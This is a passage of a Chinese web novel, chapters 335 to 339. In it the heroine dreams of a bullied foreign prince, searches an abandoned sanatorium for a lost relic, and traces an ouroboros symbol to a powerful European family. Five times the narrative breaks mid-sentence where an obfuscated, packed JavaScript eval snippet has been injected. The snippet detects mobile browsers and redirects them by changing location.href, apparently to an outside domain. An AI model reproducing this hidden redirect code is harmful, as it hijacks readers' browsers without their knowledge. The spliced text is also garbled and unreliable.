秦绵绵裹紧了毯子,靠在帐篷边。 疲惫如潮水,很快将她的意识拖入了更深的黑暗。 …… 刺骨的寒冷,却在梦里变得更加真实。 不再是山间的湿冷,而是北方那种干燥的、刮在脸上像刀子样的严寒。 她发现自己置身于殿堂之内。 这殿堂宏伟,却与她所知的大雍皇宫截然不同。 巨大的兽骨作为梁柱,墙壁上挂着粗犷的毛皮挂毯,上面用金线绣着狰狞的图腾。 空气里,混杂着烤肉的焦香与浓烈的奶酒气味。 异域风情。 她像个透明的看客,飘荡其中,无人能察觉。 殿上,主位坐着位身材魁梧、满脸虬髯的君王。 他的下方,数名衣着华贵的少年正高声谈笑,推杯换盏。 秦绵绵的视线,却被角落里道格格不入的身影吸引了。 那是个少年,约莫十三四岁的年纪,穿着洗得发白的旧衣,在满堂的锦衣华服中,显得尤为扎眼。 他独自坐着,面前的食物早就冷了,却分毫未动。 “滚过来!” 殿上一名锦衣少年突然高声呵斥,随手将啃剩的骨头扔到了那角落少年的脚下,引来阵阵哄笑。 “把本王子的靴子舔干净,就赏你一根骨头!” 少年没动,他只是垂着眼,看着地上的骨头,仿佛没听见。 那锦衣少年见他不动,顿觉失了颜面,几步冲过去,抬脚便将少年面前的矮桌踹翻。 盘碟碎裂的声音,在殿内格外清脆。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003110|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你敢不听话?” 主位上的君王,冷漠地瞥了眼这边,又转回头去,继续与身边的宠臣饮酒,仿佛角落里发生的一切,不过是场无伤大雅的闹剧。 少年依旧没有反抗,也没有说话。 他只是默默地蹲下身,在众人的嘲笑声中,片地收拾着地上的狼藉。 他的动作很慢,很稳,脊背却挺得笔直。 秦绵绵的心,没来由地揪了一下。 她听见身边侍女们压低了声音的议论。 “……还是这么欺负他,真是可怜。” “可怜什么?他母亲不过是个南边来的舞姬,狐媚惑主,**也是活该。” “嘘……小声点,到底也是庶子……” 庶子,母亲早逝,被君父不喜,遭兄长们排挤。 秦绵绵看着那个沉默的少年,看着他将最后片碎瓷捡起,然后退回角落,重新坐好,像尊没有生命的雕像。 那双眼睛里,没有怨恨,没有愤怒,只有深不见底的平静,平静得让人心头发慌。 这孩子,是在用这种方式活下去。 这股没由来的心疼,让秦绵绵胸口发闷。 她想靠近些,想看清那张倔强的脸。 就在她情绪波动的瞬间,周遭的景象开始扭曲、模糊,她知道自己要离开这片梦境了。 也就在这刹那,那一直**的少年,仿佛察觉到了什么,微微动了动。 他以为四下无人注意,下意识地抬起手,有些不自在地,摸了摸自己的后颈。 然后,极轻微地,摇了摇头。 这个动作…… 这个在紧张或下定决心前,为了给自己鼓劲的、微小又固执的动作…… 秦绵绵的脑子“轰”地炸开了。 整个梦境,连同那座冰冷的异域宫殿,瞬间崩塌成无数碎片。 秦绵绵猛地睁开双眼,从冰冷的地上弹坐起来,胸口剧烈起伏,大口地喘着粗气。 眼前是不知道何时已经熄灭的篝火,耳边是呼啸的山风。 天边,已然微微发亮。 四下静谧一片。 可她的脑海里挥之不去的,是梦里那个少年摸着后颈,轻轻摇头的画面。 第335章 他也发现了什么? 那个动作……是叶子舟惯常爱做的动作…… 怎么会…… 怎么可能是他? 那是什么地方? 他在哪里? 秦绵绵僵坐在原地,浑身冰冷。 一个是古墓里为她而死的伙伴,一个是梦境里不知哪个王朝的、受尽欺凌的异国少年。 这荒诞不经的联系,像只无形的手,扼住了她的咽喉。 …… 天边泛起鱼肚白,山间的晨雾又浓又冷,像浸湿的棉絮,裹得人喘不过气。 秦绵绵不知道自己坐了多久,熄灭的火堆只剩一圈冰冷的灰烬。 脑子里,反复回放着那个异国少年摸着后颈,倔强摇头的画面。 那画面,和叶子舟临死前冲上问心桥的决绝重叠在一起,搅得她心口一阵阵发闷。 “绵绵?你醒了?” 帐篷帘子被掀开,林鸢探进头,她的脸色也不太好,眼下带着一圈青黑。 “做噩梦了?”林鸢走过来,拢了拢身上的外套,“我也是,这一晚上,乱七八糟的,净是些不好的事……也不知道是不是离那些东西太近的缘故。” 她看了一眼不远处石窟,压低了声音。 秦绵绵没有回答,她抬起头,目光越过林鸢,看向那座在晨雾中若隐若现的石窟,声音有些飘忽: “姑姑,你还记不记得钱小乙说过的话?” 林鸢愣了一下,不知道她怎么会突然提起这个。 “他说他师父万老头是个心性极坚的人,可为了佛头,却变得偏执疯狂,甚至不惜把自己跟佛头一起埋进古墓……”秦绵绵的语速不快,像是在梳理着什么,“所以钱小乙觉得,佛头是个邪物,会蛊惑人心。” “是啊,这些东西……的确诡异。”林鸢赞同道。 “可我们拿到手之后,除了做些怪梦,好像……也没那么可怕。”秦绵绵话锋一转,视线重新落回林鸢脸上,“它只是放大了我们心里的恐惧和执念。所以我在想,万老头会不会不是自己疯了,而是……被影响了?” 林鸢的脸色微微变了,她似乎明白了秦绵绵想说什么。 “还有叶子舟。他是个什么样的人,我们都清楚。冷静,聪明,甚至有点书呆子气。他不是个会冲动到用自己的命去开路的人,更不是个会用那种暴躁方式来证明自己价值的人。” 她顿了顿,每一个字都像块小石头,砸在林鸢心上。 “他死前的样子,太奇怪了。现在想来,倒像是……也被影响了心智。” 林鸢浑身一震。 她想反驳,可叶子舟冲上桥前那近乎癫狂的自责和决绝,又清晰地浮现在眼前。 那的确不是大家认识的那个温和有礼的年轻人。 “如果真是这样……”林鸢的声音开始发颤,“那我们这一路,还要带着佛头佛手去寻佛舍利……天知道那东西的影响力有多大。我们……我们会不会也……” 她不敢再说下去。 秦绵绵没有做声。 她心里又想起了自己刚刚那个古怪的梦。 到现在为止,还没有任何人知道她可以在佛手或者佛头的影响下,通过梦境短暂地回到古代。 而那个异域王朝,虽然不是大雍,但秦绵绵可以确定,一定也是跟大雍有关的,真实存在的地方,而不是仅仅是个梦。 但那个少年……他到底是谁? 就在这时,一个不合时宜的身影,出现在了他们简陋的营地前。 萧玦。 他自己操纵着轮椅,无声无息地滑了过来,停在几米开外的地方。 他身后没有跟班,晨雾笼罩着他,让他看起来像个从地府里冒出来的孤魂。 姚祁和姜敬意也醒了,立刻警惕地站了起来。 萧玦却没看他们。 他的目光,直直地落在了秦绵绵的脸上。 那眼神很奇怪。 不再是之前那种猫捉老鼠的戏谑,也不是那种高高在上的嘲弄。 那是一种……混杂着审视、困惑,甚至还有一丝他自己都未曾察觉的……忌惮。 像是在看一个熟悉的陌生人。 秦绵绵敏锐地捕捉到了这丝变化。 她迎着他的目光,面无表情,心里却陡然一沉。 这个男人,也发现了什么? “嗡——” 死寂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012103|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对峙中,一声突兀的手机震动,像把尖锥扎破了凝滞的空气。 所有人的视线,瞬间集中到了林鸢身上。 她从口袋里掏出手机,屏幕上是一串乱码,她飞快地操作了几下,一串精确的地理坐标,取代了那些无意义的字符,静静地躺在屏幕上。 “找到了。”林鸢的声音压得很低,带着熬夜后的沙哑。 姚祁立刻凑了过来,将坐标输入平板电脑,简陋的地图上,一个红点开始闪烁。 他放大地图,地名渐渐清晰。 “隔壁市……白鹿山。”姚祁的指尖,点在了那个红点上,“是一家疗养院,不过资料显示,废弃很多年了。” “白鹿山疗养院……” 姜敬意喃喃地重复着这个名字: “我想起来了……严启山的资料上写着,他就是在这家疗养院里‘突发心脏病’去世的!” 这话一出,空气仿佛又冷了几度。 一个埋藏着佛舍利线索的外国人,一个十多年前盗宝案的出资人,他的最后踪迹,竟然指向了另一个关键人物严启山的死亡之地。 这不是巧合。 这是一张织了十几年的网。 “收拾东西,”秦绵绵站起身,将身上的毯子扔在一旁,声音没有半点波澜,“我们过去。” 萧玦始终在不远处冷眼旁观,听到这话,嘴角勾起一抹玩味的弧度,却没有出声反对。他的沉默,本身就是一种默认的催促。 …… 下山的路,远比上来时要快。 当一行人走到山脚,准备上车时,一个身影却早已等在了路边。 是朱七妹。 她就站在那辆越野车旁,背着个半旧的登山包,看到秦绵绵,眼睛亮了亮。 “掌柜的,我跟你们一起去。” “不行。”秦绵绵和萧玦,几乎是同时开口。 秦绵绵皱起了眉,而萧玦操纵着轮椅滑上前。 “七妹,你是不是忘了你还有个儿子?”他的声音很轻,却像淬了毒的钉子,“这一去很是凶险,如果我有什么事,还有你照顾小宝……如果孩子没了父亲,再没了母亲,那可就太可怜了。” 第336章 有人 朱七妹的脸色白了白,但她没有退缩,反而挺直了腰杆,迎上萧玦的视线。 “我这条命,小宝现在安稳的日子,都是掌柜的给的。我不能眼看着她去冒险,自己躲在后头。”她转头看着秦绵绵,眼神里是豁出去的执拗,“这趟,我必须去。” “听话,回去。”秦绵绵的声音冷了下来,她不想再看到叶子舟的悲剧重演。 就在这时,她口袋里的手机,极轻微地振动了一下。 她不动声色地瞥了一眼。 是朱七妹发来的短信,只有简短的几个字。 【我帮你看着他,这人是条毒蛇。】 秦绵绵的目光,从手机屏幕,缓缓移到了不远处萧玦脸上,最后,落回朱七妹那张倔强的脸上。 朱七妹说得对,萧玦是个无法掌控的变数,与其让他像颗**一样跟在身边,不如安插一个自己人,盯死他。 “上车。” 朱七妹愣了一下,随即大喜过望,立刻拉开车门跳了上去。 …… 车队重新上路。 越野车在前面开路,萧玦的人跟在后面。 随着车辆驶离市区,窗外的景象,也从高楼林立,变成了连绵的山野。 道路越来越窄,柏油路变成了坑坑洼洼的水泥路,最后,彻底消失在茂密的丛林里,只剩下一条被车轮反复碾压出来的泥土小径。 空气里,潮湿的泥土和腐烂的落叶气息混杂在一起。 现代文明的痕迹被慢慢抛在了身后。 这里更像是被时间遗忘的角落。 越野车里很安静。 姚祁握着方向盘,眼神警惕地扫视着后视镜里紧跟的车辆。姜敬意倚着车门,眼睛时不时瞟向后座。 朱七妹像尊门神,坐在秦绵绵身边,一言不发,但那紧绷的肌肉,显示出她全部的戒备都放在了车后那个人身上。 萧玦的人,像一群没有感情的影子,沉默地跟随着。 这种诡异的同行,比直接的对抗更让人神经紧绷。 “白鹿山疗养院,”萧玦的声音,突兀地从对讲机里传来,带着电流的杂音,像是从另一个世界传来,“我查过,四十年前是专门收容精神病人的地方,后来因为发生火灾而废弃,传闻闹鬼,成了本地有名的禁地。” 他的声音里,带着一丝不加掩饰的玩味。 “本地人说,进去的人,没一个能再出来。” 对讲机里,无人应答。 萧玦也不在意,轻笑一声,切断了通讯。 一个多小时后,一堵爬满了墨绿色藤蔓的高墙,横亘在众人面前,拦住了去路。 锈迹斑斑的铁艺大门紧紧锁死,上面缠绕的铁链比成年人的手腕还粗,门口“白鹿山疗养院”几个斑驳的大字,在阴沉的天色下,像是一张咧开的、无声嘲笑的嘴。 高墙之上,还拉着一圈圈生了锈的铁丝网。 这里与其说是疗养院,不如说是一座戒备森严的监狱。 萧玦的两个黑衣人上前,检查了一下大门的锁,摇了摇头。 “炸开?”其中一人看向萧玦,做了个手势。 “别蠢了,”秦绵绵冷冷开口,她的视线,正沿着墙根缓缓移动,“这么大的动静,想把不该来的都招来吗?” 她没理会萧玦投来的审视目光,径直朝左侧走去。 那里的藤蔓长得格外茂密,几乎将墙体完全覆盖。 她停下脚步,伸出手,拨开一层厚厚的常春藤。 一扇不起眼的铁皮小门,藏在后面。门上没有锁,只是虚掩着。门轴下方的地面上,有几道清晰的、新鲜的拖拽划痕,旁边的几根藤蔓,被人为地折断了,断口还很新。 有人,而且是最近,从这里进出过。 众人心头一凛。 …… 疗养院内,死寂得可怕。 空气里弥漫着一股陈旧的、混杂着草木**和消毒水残留的古怪气味。 院子极大,正对着大门的主楼,早已被大火烧成了一具焦黑的骨架,在灰蒙蒙的天空下,像一只沉默的巨兽残骸,狰狞而恐怖。 但诡异的是,院子里的杂草,虽然长得很高,却有着明显被修剪过的 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桌上,摆着几把锃亮的手术刀和一堆风干的草药,旁边却放着一堆被拆解得七零八落的收音机零件和电线。 书架上,塞满了各种书籍,从《天体物理学导论》到《湘西巫蛊传说考》,从《人体解剖图谱》到《周易》,互不相干,却又诡异地摆放在一起。 科学与神秘学,在这里被粗暴地扭结成一个怪诞的整体。 “安德森……”林鸢看着那些书籍里的一堆外文书,“他没死,他一直躲在这里。” “他在研究什么?”姚祁皱着眉,拿起桌上一张画满了复杂电路图的草稿纸,“他想用科学的手段,复制佛头的力量?” 就在众人被这满屋的诡异所吸引时,一直沉默地跟在最后的朱七妹,眼神猛地一凝。 “谁!” 她低喝一声。 就在她话音落下的瞬间,门外,一道黑影贴着墙壁飞快地一闪而过。 第337章 和秦绵绵有关 “追!” 姚祁反应最快,第一个冲了出去。 众人立刻跟上。 那道黑影的速度快得惊人,贴着墙根,像一缕没有实体的青烟,瞬间便没入了走廊深处的黑暗。 “站住!” 姚祁的低吼尚未散尽,人已经如出膛的炮弹般追了出去。 众人紧随其后,手电的光柱在昏暗的楼道里疯狂晃动,照出斑驳脱落的墙皮和空气中飞扬的灰尘。 这栋废弃的副楼内部,像个被掏空了内脏的巨人尸体。 脚下的**石地面布满裂纹,每一步都踩出空洞的回响。 黑影对这里的地形极为熟悉,七拐八绕,将他们引向了更深、更破败的区域。 前方,是一处连接主楼与副楼的半露天长廊。 长廊的顶棚早已坍塌,只剩下几根锈蚀的钢筋骨架,狰狞地指向灰白色的天空。 黑影一跃,便跳上了长廊边缘的水泥护栏,眼看就要消失在另一栋建筑的阴影里。 秦绵绵想也没想,脚下发力,跟着跃了上去。 “绵绵,危险!”林鸢的惊呼被风吹得变了调。 就在秦绵绵双脚落地的瞬间,她脚下的水泥护栏发出“咔嚓”一声脆响。 那段经历了数十年风雨侵蚀的结构,再也无法承受任何重量。 大块的水泥混合着钢筋,轰然向下坠落! 失重感瞬间攫住了秦绵绵。 她的身体向着下方三四米深的、堆满建筑垃圾和尖锐钢筋的黑暗坑洞直直摔去。 电光石火间,一道黑色的影子比姚祁的动作更快。 不是人。 是萧玦的轮椅。 他竟是单手操控着轮椅,以一种不可思议的速度和角度,狠狠撞在了长廊摇摇欲坠的立柱上。 轮椅精钢打造的支架,死死卡进了立柱的裂缝里,发出一阵令人牙酸的金属扭曲声。 而他的另一只手,则在轮椅撞上的前一刻,精准地抓住了秦绵绵的手腕。 巨大的冲力与下坠力,让两人同时闷哼一声。 秦绵绵悬在半空,手腕被他铁钳般的手抓得生疼。 她抬起头,手电的光扫过上方。 萧玦半个身子探出轮椅,脸色在忽明忽暗的光线下,白得像纸,额角青筋暴起,那双总是盛满恶意的眼睛里,此刻竟是一片深不见底的、连他自己都未曾察觉的惊惶。 姚祁和姜敬意已经赶到,手忙脚乱地将秦绵绵拉了上来。 “没事吧?” 秦绵绵站稳身体,甩了甩被捏得发红的手腕,看也没看萧玦,目光重新投向黑影消失的方向。 “别浪费时间,人跑了。” 她的声音平静无波,仿佛刚刚经历生死一线的不是自己。 萧玦缓缓收回手,操纵着变形的轮椅退回到安全的地面上。 他看着自己微微颤抖的掌心,又抬眼望向秦绵绵那冷漠的背影,心脏某个角落,被某种陌生的、尖锐的情绪刺了一下。 不该是这样的。 他应该冷眼旁观,甚至,应该在她掉下去的瞬间,露出一贯的、嘲弄的微笑。 可他没有。 他出手了。 为什么? 梦里那张倔强的、沾染着滚烫蜡油的脸,与眼前这张冷漠的侧脸重叠在一起。 萧玦的胸口猛地发闷,一股暴戾的、想要摧毁什么的冲动,混杂着前所未有的迷茫,在他心底翻涌。 他觉得自己像是背叛了什么。 …… 黑影彻底消失了,追寻被迫中止。 一行人退回到那个古怪的实验室,气氛比之前更加凝重。 萧玦没有再开口,只是独自坐在角落,阴沉的目光,时不时地扫过朱七妹。 那目光,让朱七妹浑身的肌肉都绷紧了。 她太熟悉这种眼神了。 那是暴风雨来临前,毒蛇盘踞在洞口,吐着信子,审视着自己领地的眼神。 果然,当众人各自寻了个地方稍作休息时,萧玦操纵着轮椅,无声地滑到了朱七妹的面前。 “小宝,最近还乖吗?” 他的声音很轻,像情人间的呢喃。 朱七妹没有回答,只是警惕地看着他。 这人怎么可以这样,经历了那么多的事情,却好像什么都发生一样,在这里跟她谈天。 朱七妹并不理他。 萧玦伸出手,想去碰她的脸,被她侧头躲开。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022699|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他的手僵在半空,脸上的笑意彻底冷了下去,“刚才那么危险,难道你就一点都不担心我?” 朱七妹冷冷回答:“不担心。” 转身走了开去。 只留萧玦一个人在原地,慢慢露出一丝苦笑。 …… 夜,深了。 疗养院的夜晚,静得能听见自己的心跳。 萧玦的人在外围守夜,秦绵绵等人则在实验室里将就。 没人能真正睡着。 朱七妹靠在门边,说是守着,其实全部的注意力,都放在了不远处那个角落。 萧玦靠在轮椅上,闭着眼,似乎是睡着了。 但他的眉头紧紧锁着,呼吸也时而急促,时而停滞,像是在经历着某种巨大的痛苦。 “……滚开……” 一声极度压抑的、含混不清的呓语,从他喉咙里挤了出来。 朱七妹的耳朵动了动。 她悄无声息地站起身,像只狸猫,借着桌椅的阴影,慢慢靠近。 “……钥匙……不是……秦绵绵……”萧玦的身体开始轻微地抽搐,他像是在跟什么人争辩,又像是在恐惧着什么,“……是我的……谁也别想……” 秦绵绵? 朱七妹的脚步顿住了。 她蹲下身,藏在一排书架后面,死死地盯着萧玦。 她终于明白,萧玦这段时间的古怪从何而来。 他不是在算计什么阴谋,而是在被某种东西折磨。 而这种折磨,竟然和秦绵绵有关。 他寻找佛头佛手,或许,跟秦绵绵想要去的那个地方有关? 如果是这样的话…… 朱七妹的眼神,一点点地冷了下来。 她缓缓地,无声地退回到门口。 她不能让这个疯子,毁了掌柜的唯一的希望。 她看着不远处姚祁放在背包边上、那把擦得锃亮的**,又看了看角落里那个在梦魇中挣扎的男人。 那双总是平静的眼睛里,第一次,浮起了毫不掩饰的、冰冷的杀机。 …… 天光,透过实验室满是污垢的玻璃窗,投下几道灰白色的光柱,照亮了空气中悬浮的尘埃。 第338章 不查这个人 死寂了一夜的疗养院,在晨光中更显破败。 朱七妹一夜未合眼,她的目光,时不时地扫过角落里那架轮椅。 萧玦也醒了,或者说,他根本没睡好。 他的脸色比昨天更差,眼底是浓重的青黑,那股子阴鸷暴戾的气息,被一种化不开的疲惫和困惑包裹着,让他看起来像是一头被自己囚禁的野兽。 他察觉到了朱七妹的视线,却只是扯了扯嘴角,没有像往常一样出言挑衅。 “大家再找一找,看看有什么线索。”秦绵绵的声音打破了这诡异的对峙。 她已经检查完了房间里那些被拆解的仪器,一无所获。 众人重新开始对这个古怪的实验室进行地毯式的搜索。 姚祁和林鸢负责那些书籍和图纸,试图从中找出安德森研究的逻辑。 秦绵绵则一寸寸地敲击着墙壁和地板。 “啊!” 一声短促的惊叫,来自姜敬意。 他正踮着脚,想去够书架顶上一个蒙尘的木盒,脚下一滑,手下意识地在墙上胡乱一抓。 只听“咔哒”一声轻响,他手按的那块墙板,竟向内凹陷了半寸,露出了一个黑洞洞的暗格。 一股陈腐的、纸张与皮革混合的气味,从暗格里飘散出来。 暗格里,静静地躺着一本厚实的、深棕色牛皮封面的日记。 姚祁立刻上前,小心翼翼地将日记取了出来。 封皮上没有任何文字,只有岁月留下的斑驳划痕。 他翻开第一页,泛黄的纸张上,是用蓝色墨水写下的、略显潦草的英文。 【……他们称之为神迹,我称之为坐标。星辰不是众神的眼睛,而是宇宙间的灯塔。只要找对角度,就能打开那扇门……那扇通往‘归墟’的门。】 “归墟之门?”林鸢凑过来,眉头紧锁,“《列子·汤问》里记载,渤海之东,有大壑焉,实惟无底之谷,其下无底,名曰归墟。是万物最终的归宿之地。” 姚祁快速地向后翻动着。 日记里,记录了安德森这十几年来疯魔般的生活。 他躲在这座废弃的疗养院里,将东方的玄学与西方的天体物理学粗暴地糅合在一起,试图通过一种他自创的“星辰定位法”,计算出那个“归墟之门”开启的时间和地点。 【……我需要钱,大量的钱,更需要一台能观测到‘谷神星’微小偏移的射电望远镜。那块石头……佛的心,对我来说已经没用了……我必须卖掉它,换取我完成最后一步的资本。】 在日记的最后一页,用回形针别着一张薄薄的收据。 那是一张十多年前,港岛某个贫民聚居区里一个地下拍卖行的交易凭证,纸张已经黄脆得仿佛一碰就碎。 交易物品一栏,只写着两个字:石雕。 而在买家签名处,没有名字,只有一个用钢笔画下的、奇特的符号。 一条蛇,正咬着自己的尾巴。 “衔尾蛇……”秦绵绵看着那个符号,轻声念道。 就在姚祁举起手机,准备将这张收据拍下来的瞬间—— “咕咕!咕咕!” 房间角落里,那个布满了蜘蛛网的老旧布谷鸟挂钟,毫无征兆地、尖锐地叫了起来。 与此同时,门外那条死寂的走廊深处,传来一阵隐隐约约的脚步声。 所有人浑身的汗**,瞬间倒竖。 姚祁一把将秦绵绵和林鸢护在身后,朱七妹则握紧了**,死死盯住门口。萧玦身后的两个黑衣人,也无声地拔出了枪。 一阵令人牙酸的沉默后,一阵山风“呼”地穿过破败的走廊,将一扇松动的窗户吹得“哐当”一声。 众人到走廊查探,根本没有人。 虚惊一场。 众人紧绷的神经缓缓松弛下来,后背却已是一片冰凉。 “看来这里不能久留了。”姜敬意抹了把额头的冷汗。 大家的注意力,重新回到那张小小的收据上。 “十多年前港岛的地下拍卖会……这怎么查?”姜敬意一脸颓然,“这种黑市交易, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022700|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根本不会有任何记录。就算我动用在港岛那边的老关系,也等**捞针。” “安德森卖掉佛舍利,是为了换取完成他研究的设备。”林鸢看着日记里那些复杂的天文计算公式,忽然开口,“这说明,买家‘衔尾蛇’,必然有能力接触到世界顶尖的天文观测设备,甚至拥有私人的天文台。他不是普通的富豪或收藏家。” “可符合这个条件的人,在全球范围内,没有一千也有一百。”姚祁泼了盆冷水,“我们没有方向。” 房间里再次陷入沉默,一种更深的无力感笼罩着众人。 “我们不查人。” 秦绵绵的声音,平静地响起,像一块石头投入死水。 她抬起眼,目光扫过众人,最后落在了姚祁身上。 “查这个符号。” 她的手指,点在了那张收据的照片上,点在了那个“衔尾蛇”的符号上。 “常规的调查,是查当年的拍卖会,查那个聚居区,查所有可能的人。但那条路太慢,也太容易被引向歧途。” 秦绵绵的思路很清晰。 “反过来想。一个有能力在黑市买下国宝级文物,有财力支撑顶尖天文研究,并且会用‘衔尾蛇’这种充满哲学和神秘学意味的符号作为代号的人,他一定极度自负,并且对这个符号有着近乎偏执的喜爱。” “这种人,绝不会只在一次黑市交易里使用这个代号。在他的商业帝国、私人基金、家族徽记,甚至是他收藏的艺术品里,一定会留下同样的痕迹。这是他的标签,是他的身份认同。” 这番话,让在场的所有人,包括角落里一直沉默的萧玦,都为之一震。 “我明白了。”姚祁的眼睛亮了。 他立刻打开自己的军用笔记本电脑,手指在键盘上翻飞,一行行复杂的代码迅速出现在屏幕上。 “我编写一个信息爬虫,在全球范围内的公司注册信息、专利数据库、基金会名录、艺术品拍卖记录,甚至是暗网的加密论坛里,去抓取和‘衔尾蛇’符号相关联的实体信息。” 第339章 我需要一个身份 时间,一分一秒地过去。 实验室里,只剩下笔记本风扇的嗡鸣和姚祁敲击键盘的清脆声响。 几个小时后,当太阳西斜,将昏黄的光投进房间时,姚祁停下了手。 海量的数据,经过数层逻辑筛选和交叉比对,最终,只剩下了一条。 “找到了。” 姚祁的声音带着一丝疲惫,更多的却是兴奋。 他将屏幕转向众人。 屏幕上,显示的是欧洲一个极度低调,却又富可敌国的古老家族的资料。 冯·克虏伯家族。 而在资料的最下方,附着一张图片。 是他们的家族徽记。 一条狰狞的、覆盖着鳞片的西方巨龙,正弯曲着身体,将自己的尾巴死死咬在嘴里。 其形态,与收据上那个“衔尾蛇”,如出一辙。 这条咬着自己尾巴的西方巨龙徽记,透着古老而森严的气息,像个烙印,深深地烫在每个人的视网膜上。 冯·克虏伯家族。 这个名字,对秦绵绵来说只是个遥远而模糊的符号,代表着财富和权势。但对林鸢而言,却像是触动了某个禁忌的开关,她的脸色瞬间变得难看至极。 “继续查。”秦绵绵的声音没有起伏。 姚祁的手指重新在键盘上移动,这一次,他直接入侵了几个欧洲商业情报的加密数据库。随着代码滚动,一张复杂的人物关系网,在屏幕上显示出来。 无数个名字和头像闪过,最终,众人的目光定格在了一个让所有人呼吸都停滞的名字上。 “萧秀雅!” 照片上的女人,穿着一身得体的白色研究服,正站在一排精密的仪器前,对着镜头微笑。那笑容,优雅、知性,却又带着某种洞悉一切的傲慢。 资料显示,她曾是冯·克虏伯家族旗下某个生物基因基金会的高级学术顾问。 “……是她。”林鸢的声音干涩,像是喉咙里塞满了沙子,“我就知道……我就知道事情没那么简单。” 整个事件的性质,在看到萧秀雅名字的刹那,彻底扭曲了。 这不再是寻宝,也不是单纯地解开一个历史谜团。 这是战争。 是与那个女人背后,那个庞大到令人窒息的势力,正面相撞。 “克虏伯家族……”林鸢深吸了口气,“他们是欧洲最老牌的军工和科技巨头之一,从两次世界大战时期就开始积累财富和人脉。他们的影响力,渗透在政界、军界、金融界……财力通天,行事隐秘。我们查到的这些,恐怕连冰山一角都算不上。” 她看向秦绵绵,眼神里是前所未有的凝重: “萧秀雅能搭上这条线,说明她很可能早就知道了佛头和佛手的秘密。甚至……当年安德森在港岛的那场交易,都在她的监控之下。” 一个更可怕的推论,浮现在众人心头。 “她在等。”姚祁的声音沉了下去,“她在等我们找到所有的线索,替她铺好最后的路。然后……一网打尽。” 实验室里,死样的寂静。 窗外,天色愈发阴沉,风穿过破败的建筑,发出鬼哭般的呜咽。 “那……那我们还去吗?”姜敬意咬牙。 对手强大至极,没有人有信心。 角落里,一直沉默的萧玦缓缓抬起了头。他的目光越过众人,落在那张萧秀雅的照片上,眼神晦暗不明,没人知道他在想什么。 “所以,佛舍利就在赫尔曼·冯·克虏伯手上。” 秦绵绵开口了,她的声音平静得可怕。 她站起身,走到姚祁的电脑前,指尖点在了克虏伯家族当代掌门人的照片上。那是个面容清癯、眼神锐利如鹰的德国老人。 “赫尔曼·冯·克虏伯,物理学怪才,狂热的古代文明遗物收藏家。名下,有一座私人高山天文台。”秦绵绵一字一句地念出资料,“安德森卖掉佛舍利,就是为了换取能完成他研究的设备。买家,就是赫尔曼。” 她转过身,环视众人:“我们现在有两个选择。第一,放弃,把佛头和佛手扔掉,各回各家,然后等着萧秀雅找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029915|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上门,把我们一个个处理干净。第二……” 她的目光,最终落在了林鸢脸上。 “给我一个身份,一个能光明正大出现在赫尔曼面前的身份。再给我在欧洲行动的全部后勤支持。” 林鸢看着她,看着那双在任何绝境下都不会动摇的眼睛,心头巨震。 她知道秦绵绵不是在商量,而是在下达命令。 “好。”林鸢咬着牙,重重地点了下头。 秦绵绵又看向姚祁:“联系钱老先生,把我们的发现告诉他。我们需要更多的助力。” 姚祁立刻拨通了加密电话。 电话那头,钱老先生在听完姚祁简短的汇报后,沉默了许久。 